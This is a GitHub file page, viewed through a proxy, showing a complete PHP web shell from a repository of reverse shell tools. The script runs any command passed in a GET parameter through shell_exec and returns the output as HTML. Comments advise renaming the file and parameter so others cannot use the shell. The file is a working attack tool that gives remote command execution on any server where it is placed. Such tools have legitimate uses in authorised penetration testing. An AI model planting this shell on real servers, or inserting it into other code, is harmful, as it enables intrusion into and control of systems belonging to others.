FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
php-reverse-shell/src/web/simple_php_web_shell_get.php at master · ivan-sincek/php-reverse-shell · GitHub
ivan-sincek
/
php-reverse-shell
Public
Notifications
You must be signed in to change notification settings
Fork
157
Star
573
Code
Issues
0
Pull requests
0
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Security and quality
Insights
Expand file tree
Breadcrumbs
php-reverse-shell
/
src
/
web
/
simple_php_web_shell_get.php
Copy path
More file actions
More file actions
Latest commit
History
History
History
38 lines (36 loc) · 1.42 KB
Breadcrumbs
php-reverse-shell
/
src
/
web
/
simple_php_web_shell_get.php
Copy path
File metadata and controls
38 lines (36 loc) · 1.42 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// Copyright (c) 2021 Ivan Šincek
// v3.0
// Requires PHP v4.0.0 or greater.
// modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell
// you must URL encode your commands
// your parameter/key here
$
parameter
=
'
command
'
;
$
output
=
null
;
if
(
isset
(
$
_SERVER
[
'
REQUEST_METHOD
'
]) &&
strtolower
(
$
_SERVER
[
'
REQUEST_METHOD
'
]) ===
'
get
'
&&
isset
(
$
_GET
[
$
parameter
]) && (
$
_GET
[
$
parameter
] =
trim
(
$
_GET
[
$
parameter
])) &&
strlen
(
$
_GET
[
$
parameter
]) >
0
) {
// if shell_exec() is disabled, search for an alternative method
$
output
= @
shell_exec
(
"
(
$
_GET
[
$
parameter
]
) 2>&1
"
);
if
(
$
output
===
false
) {
$
output
=
'
ERROR: The method might be disabled
'
;
}
else
{
$
output
=
str_replace
(
'
<
'
,
'
<
'
,
$
output
);
$
output
=
str_replace
(
'
>
'
,
'
>
'
,
$
output
);
}
// if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML
// garbage collector requires PHP v5.3.0 or greater
// echo "<pre>{$output}</pre>"; unset($output); unset($_GET[$parameter]);/* @gc_collect_cycles();*/
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple PHP Web Shell</title>
<meta name="author" content="Ivan Šincek">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<pre>
<?php
echo
$
output
;
?>
</pre>
</body>
</html>
<?php
unset(
$
output
); unset(
$
_GET
[
$
parameter
]);
/* @gc_collect_cycles();*/
?>
Back
|
FazBrowse Home
|
New Git URL